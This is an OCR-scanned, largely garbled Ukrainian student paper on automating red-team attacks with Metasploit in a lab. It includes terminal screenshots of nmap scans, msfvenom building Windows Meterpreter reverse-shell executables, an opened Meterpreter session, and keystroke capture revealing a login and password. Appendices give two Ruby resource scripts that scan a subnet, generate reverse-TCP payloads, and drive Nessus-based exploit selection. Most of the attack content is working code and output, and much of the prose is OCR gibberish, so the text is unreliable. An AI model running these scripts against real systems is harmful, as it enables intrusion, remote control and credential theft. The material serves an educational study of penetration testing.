B 1upomy po3gini Oynu ommcaHi omepariiiHi CHUCTEMH 1 MporpamHe
3a0e3MeUeHHs, SIKI BUKOPUCTOBYBAJIUCH ITiJl Yac PO3POOKH CKPUIITY aBTOMATH3AILI.
[IpencraBiieHi BEKTOPHU aTaku Ta MOEAHAHHS I1HCTPYMEHTIB, IO MOTPEOYIOTh PYYHOT
00poOku. B pesynbTaTi 3BUYaiHUN 3aIyCK HAITMCAHUX CKPHIITIB BHSBUBCS HabaraTto

MIBUIIAM HIJK POBEICHHS THX CAMUX OIepalliii CaMOCTiiTHO.



4 Pe3yabTaT BUKOHAHHSA CIIeHAPIIB

4.1 CKpUHIIOTH NEPHIOr0 CHEHAPiI0

Terminal e @0

File Edit View Search Terminal Help
[1) Database alr started
to be already configured, skipping initialization

328 post
nops

e/step 1.r¢ for ERB directlive
cripts/resource/step 1.rc)> Ruby Code (547 bytes)
1ts.xml 192.168,254.0/24

https://nma at 2019-05-28 15:48 EEST
246 hosts ¢ ed (9 up), 9 undergoing SYN Stealth
About 77.22% e i 15:49 (0:00:04 remaining)

Terminal e o0

File Edit View Search Terminal Help

TRACEROUTE
HOP RTT
1 0.26 ms

All 1000 sc d po on 192 8. .2 are cl d
Too many f [ 5 match th : cific 0S detai
Networ S : © hops

rvice detection performed. any incorrect results at https://nmap.org/submit/

Nmap do 2 dresses (10 hosts up) scanned 1ir .42 seconds
Nmap finished g the network.
A Meterpreter payload will be generated for the chosen host and its possible 0S,
the target, p H
8.254.212
254.212 probably has Windows 0S
-platform Windows -pwindows/meterpreter/reverse tcp LMOST=192.168.254
.254,212win ., exe

No arch select selecting arc x86 from the payload
r or - ecifie ad
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() Home > kali 2.0 3 Windows 10 @ Windows 10 Clone 2 # Windows 10 Clone 3 @5 Windows 7 Clone 3 @ Windows 7 Clone 2 [5 windows 7

Applications v Places *  [] Text Editor v Tue 15:55

nmapresults.xmt

PE nmap
-stylesheet href="fi
Nmap 7.70 scan initiated Tue
192.168.254.0/24 -->
apr er="nmap® arg
4

r/bi are/nmap/nmag type="text/xsl*?
May 28 15:48:59 2019 as: nmap -sS -A -oX /root/Desktop/nmapresults.xml

NN N |

64 ervice names=*m
e>cpe:/o:microsoft :windows

84" /><service names*netbi
escpe: /o:microsoft:windows

é
e
3
P
@

[*] Meterpreter session 1 opened (192.168.254.215:4444 -> 192.168.254.212:50004) at 2019-05-28 21:50:25 +0300

meterpreter > pwd
C:\Users\yulia\Downloads

O Recent

* Starred . @ t><Shift><shift><shift
192.168.254.212win. Desktop Documents Downloads

B Desktop exe

Ll . pm— — . S

3

J1 Music BT
Music Pictures Public Templates

H Videos -

) Wastebasket B

|
Videos

-
® Downloads ‘D

‘01 Pictures

© KaliLive

+ Other Locations

B pesynbrari 6ynu orpumani xml-paitn 3 pesynpraramu Nmap, Ta MIKiIIUBE

mporpaMHe 3a0e3neueHHs, sike Oyie mepeaaHo Ha IUThbOBY MaIUHY.
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4.2 CKpUHIIOTH APYroro cueHapiio

Terminal

File Edit View Search Terminal Hel

step 2.rc
/usr/shar e ploit-framework g rc for ERB directives.
(/usr/share/me ploit-frame: e/ ep 2.rc)> Ruby Code (558 bytes)
etc/init.

service running as process 1173

y established. Only one connection is allowed at a time.
first if to conne to a different data service.
ection informatio
d t

o

warning: already initialized constant Msf::PLUGIN NAME
previous definition of PLUGIN NAME was here
already initialized constant Msf::PLUGIN DESCRIPTION
previous definition of PLUGIN D RIPTION was here

W s

e nessus_help for a command listinc
Successfully loaded plugin: Nessus
us Username:

.254.215:8834/

User msfu L 3 ully
ule options (exploit/multi/handler):

Name C n Required Description

Exploit ta

Id Name

© Wildcard Target

¢ or press Ctrl+G

Terminal e o

212:50004) at 2019-85-28 21:50:25 +0300

Dumping captu
ass<CR

hifte<shift>: julia<CR>
hift><shift 1ift><Shift=<shift><shift

ion failed: Incorrect function

ion failed: Incorrect function.

Mode Size Name

100777/ rwxrwxrwx B 019- 0:51:23 +0300 192.168.254.212win, exe
100666/ rw-rw-rw 282 f 26 8:54:49 +0300 desktop.ini
100666/ rw-rw-rw- L 9-05-2¢ s 53 +0300 p txt

[Ticns 3amycKy €KCIUIOWTa Ta MOro KOPHUCHOTO HABAaHTAKCHHS HAa aTaKyrOdid
MalliHi, BCTAHOBJICHUW MOPT B OYIKYBaHHI 3aIyCKy 3T€HEPOBAHOTO MPOTPAMHOTO
3a0e3reueHHs] Ha 1UIbOBIA MamuHi. [licns 11 3amycky BIIKpUBA€TbCS cecis

meterpreter.
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JIns neMoHCTpallii BCTAHOBJICHOTO 3B’SI3KY MIDK I[UILOBOIO Ta aTaKyIOUOlo
MalllMHaMu B cecli meterpreter Oyau BBEJEHI KOMaHAW [JIsl 3aXBaTy KJaBlaTypu
(BUBeEHHs TUIbKM 1110 HaOpaHOI1 Ha KiaBiaTypi iHpopMalii) Ta BUBEAEHHS BMICTY

MOTOYHOT IMaITKH.

meterpreter > keyscan dump
Dumping captured keystrokes...

meterpreter > keyscan dump
Dumping captured keystrokes...

ift>:name<CR>
sword<Shift>:hello

Mode

100777/ rwxrwxrwx 738€ f -95-28 20:51:23 +0300
100666/ rw-rw-rw- 282 Fil 9-05- B:54:49 +0300
100666/ rw-rw-rw- 3 fil D19-05-28 21:54:53 +0300

;login: julia
password: 112877yuiH
login:name
password:ihello

Jarpysku
TOALNNTIRCN Bna

13 3707 KOMNBIOTER 3arpyskmn

# Nanens 6uictporo Ac
= Pabouni cron [¥] 192.168.254.212win
& 3arpysn pass
J Joxymertel
« Wsobpaxenunn
B Braeo
J Myssika

A T E ENG

28.05.2019
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BUCHOBOK

OpHieto 3 xapakTepucTuk Red Teaming Assessments € HanawTyBaHHA,
HeobxigHe NPOTAromM yCbOro MNPoUecy, i Te, AK KOXEH eNeMeHT, WO CTOCYETbCA

6aKaHoI uini, CNiBiCHYE 3 iHWKMMMN.

MpoTe, neBHi Npoueaypu, WO BUXOAATb 33 PAMKW HaNaAWTYBAHHA, MOXYTb
6yTM 3anporpamoBaHi Ha aBTOMATMYHE BWMKOHAHHA 3 YyCiMa nepeBaramu, LWoO
CTOCYIOTbCA Yacy i epeKTMBHOCTI BUTpaAT. Metasploit Framework nponoHye BigmiHHY
nnatGopmMmy ONA eKCNEepPMMEHTIB 3 aBTOMATU3ALIEID, | AEAKMN pe3ynbTaT MOXKHa

nobaunTn 3aBAsKM po3pobui ABOX CLEeHApIiB, NpeaAcTaBAeHUX B Ui poboTi.

OcHoBHUM dpakTOpoM aBTOMaTM3aUii Metasploit Framework € po3ymiHHsA noro
ob'ekTiB i KnaciB. Lle pobpe cTpyKTypoBaHu GpermMBOpPK, AKMK noTpebye
peTesibHOro aHanisy, AnA Toro, Wob XToCb Mir BUKOPUCTOBYBATWU BCi MOXK/IMBOCTI, AKi
BiH nMponoHye. Kpim TOro, ob6pas MuCneHHsa NOANHU, AKa NPOBOAUTbL OUiHKY Red
Teaming, NOBMHEH BUKOPWUCTOBYBATWM BCHD MNOTYXHICTb IHCTPYMEHTIB, AKMMU BiH

KOPUCTYETbCA.
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Malware (+11%)

Web-based attacks (+13%)

Denial of service (+10%)

Malicious insider (+15%)

Phishing and social engineering (+8%)
Malicious code (+9%)

Stolen devices (+12%)

Ransomware (+21%)

Botnets (+12%)

JoaaTok A

Average annual cost of cybercrime by type of attack
(2018 total = US$13.0 million)
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Jlonatok b
step_1l.rc

<ruby>

require 'rexml/document'

include REXML

run_single ("nmap -sS -A -oX /root/Desktop/nmapresults.xml 192.168.254.0/24")
puts "Nmap has finished mapping the network."

class 0OSInfo

def getos
xmlfile = File.new("/root/Desktop/nmapresults.xml")
xmldoc = Document.new (xmlfile)

root = xmldoc.root

h name = ""

host hash = Hash.new
xmldoc.elements.each ("nmaprun/host™) {
|le| e.elements.each("hostnames/hostname™) { k|
host name = k.attributes|["name"]

}

i=0

Os_array = Array.new

e.elements.each ("os/osmatch/osclass™) {
[ %I

if 1 ==

os_arrayl[i] = k.attributes["osfamily"]
elsif k.attributes["osfamily"] !=
os_arrayl[i]

os_arrayl[i] = k.attributes["osfamily"]
i+=1

end

}

host hash[host name] = os array

}

return host hash

end

end

os_map = OSInfo.new

o0s_hash = os map.getos ()

puts "A Meterpreter payload will be generated for the chosen host and its
possible 0S."

puts "Choose the target, please:"

host = gets.chomp

os_hash.each {

|host, os| puts "Host #{host} has #{os}"

o.each {

lpl if p == "windows"

run_single ("msfvenom --platform Windows -p
windows/meterpreter/reverse tcp LHOST=192.168.254.215 LPORT=4444
-f exe > #{host}win.exe")

elsif p == "linux"

run_single ("msfvenom --platform Linux -p
linux/x86/meterpreter/reverse tcp LHOST=192.168.254.215
LPORT=4444 -f elf > #{host}linux.elf")
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end
}
}

puts "The generated malware can be found at Home directory."
</ruby>

step_2.rc
<ruby>
run_single("/etc/init.d/nessusd start")

run_single("db connect postgres:toor@127.0.0.1/msf3")
run_single("load nessus")

puts "Enter Nessus Username:"

user = gets.chomp

puts "Enter Nessus Password:"

pass = gets.chomp

run_single ("nessus_connect #{user}:#{pass}@192.168.254.215:8834 ok")

# Vulnerability scanning(web-interface)Wait 15 minutes until it's done
Scanning is complete. It may be changed accordingly.

sleep (15.minutes)

run_single ("nessus scan list")

puts "Select a scan_id"

scan_id = gets.chomp

run_single ("nessus_report hosts #{scan id}")
run_single ("nessus_report vulns #{scan id}")
run_single("nessus_db import #{scan_id}")

# Show the available vulnerabilities
run_single ("vulns'")

# Select target and vulnerability
puts "Choose target:"

target = gets.chomp

puts "Choose vulnerability"

target vuln = gets.chomp

# Search for available exploits regarding the vulnerability
run_single ("search target wvuln'")

puts "The following exploits have been indentified:"

puts " "

puts "Choose the exploit"

expl = gets.chomp

run_single ("use #{expl}")

run_single ("show options™)

run_single ("set RHOST #{target}")

run_single("set LHOST 192.168.254.215")

run_single ("set payload windows/meterpreter/reverse tcp")
# Execute the exploit and its payload

run_single ("run")

</ruby>
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